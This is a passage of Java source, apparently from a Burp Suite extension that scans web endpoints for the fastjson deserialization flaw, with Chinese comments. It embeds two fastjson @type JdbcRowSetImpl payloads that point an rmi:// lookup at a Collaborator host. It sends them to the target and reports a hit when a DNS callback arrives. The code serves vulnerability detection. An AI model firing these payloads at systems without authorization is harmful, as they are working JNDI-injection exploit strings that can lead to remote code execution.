(IHttpRequestResponse baseRequestResponse, int row)
| 121 | // baseRequestResponse:burp封装好的请求记录对象,这个对象里存储着一次请求的所有信息(请求头、url、请求方法、响应等) |
| 122 | // row: 指明目前检测的是哪一行的请求记录 |
| 123 | public void checkVul(IHttpRequestResponse baseRequestResponse, int row){ |
| 124 | List<String> payloads = new ArrayList<String>(); |
| 125 | // 这里获得的url是完整的url |
| 126 | URL url = this.helpers.analyzeRequest(baseRequestResponse).getUrl(); |
| 127 | // 据说这两个payload可以涵盖目前所有版本的fastjson |
| 128 | payloads.add("{\"axin\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"is\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s/aaa\",\"autoCommit\":true}}"); |
| 129 | payloads.add("{\"handsome\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://%s/aaa\",\"autoCommit\":true}}"); |
| 130 | String method = this.helpers.analyzeRequest(baseRequestResponse).getMethod(); |
| 131 | // 返回的是一个字节,不同的content-type用不同的数字代表,其中4表示application/json |
| 132 | byte content_type = this.helpers.analyzeRequest(baseRequestResponse).getContentType(); |
| 133 | // 拿到的headers是一个数组类型,每一个元素都是类似这样:Host: 127.0.0.1 |
| 134 | List<String> headers = this.helpers.analyzeRequest(baseRequestResponse).getHeaders(); |
| 135 | try{ |
| 136 | if(method.equals("POST") && (content_type == IRequestInfo.CONTENT_TYPE_JSON || content_type == IRequestInfo.CONTENT_TYPE_URL_ENCODED || content_type == IRequestInfo.CONTENT_TYPE_XML)){ |
| 137 | IHttpService iHttpService = baseRequestResponse.getHttpService(); |
| 138 | IBurpCollaboratorClientContext context= this.callbacks.createBurpCollaboratorClientContext(); |
| 139 | // 一个burp提供的dnslog平台 |
| 140 | String dnslog = context.generatePayload(true); |
| 141 | List<IBurpCollaboratorInteraction> dnsres = new ArrayList<>(); |
| 142 | this.stdout.println(dnslog); |
| 143 | List<String> newHeaders = new ArrayList<>(); |
| 144 | // 强制替换content-type为json |
| 145 | for(String header: headers){ |
| 146 | if (header.startsWith("Content-Type")) { |
| 147 | newHeaders.add("Content-Type: application/json"); |
| 148 | } else { |
| 149 | newHeaders.add(header); |
| 150 | } |
| 151 | } |
| 152 | for (String payload:payloads){ |
| 153 | payload = String.format(payload, dnslog); |
| 154 | byte[] bytePayload = this.helpers.stringToBytes(payload); |
| 155 | byte[] postMessage = this.helpers.buildHttpMessage(newHeaders, bytePayload); |
| 156 | // 向目标发送payload |
| 157 | IHttpRequestResponse resp = this.callbacks.makeHttpRequest(iHttpService, postMessage); |
| 158 | // 担心目标有延迟,所有延时2秒再查看dnslog平台 |
| 159 | Thread.sleep(2000); |
| 160 | // 返回的是一个数组 |
| 161 | dnsres = context.fetchCollaboratorInteractionsFor(dnslog); |
| 162 | this.stdout.println(dnsres); |
| 163 | if(!dnsres.isEmpty()){ |
| 164 | this.stdout.println("found!!!"); |
| 165 | // 漏洞存在就更新表格中存在漏洞那一行的数据 |
| 166 | LogEntry logEntry = new LogEntry(url, "finished", "vul!!!", resp); |
| 167 | log.set(row, logEntry); |
| 168 | // 这个方法是swing中的一个方法,会通知表格更新指定行的数据 |
| 169 | fireTableRowsUpdated(row, row); |
| 170 | break; |
| 171 | } |
| 172 | } |
| 173 | if(dnsres.isEmpty()){ |
| 174 | LogEntry logEntry = new LogEntry(url, "finished", "not vul", baseRequestResponse); |
| 175 | log.set(row, logEntry); |
| 176 | fireTableRowsUpdated(row, row); |
| 177 | } |
| 178 | }else{ |
| 179 | // 如果使用者将非post类型或者非特定数据类型的请求发送到fastjson scan中,则会直接提示not supporeted |
| 180 | LogEntry logEntry = new LogEntry(url, "not supported", "not supported", baseRequestResponse); |
no test coverage detected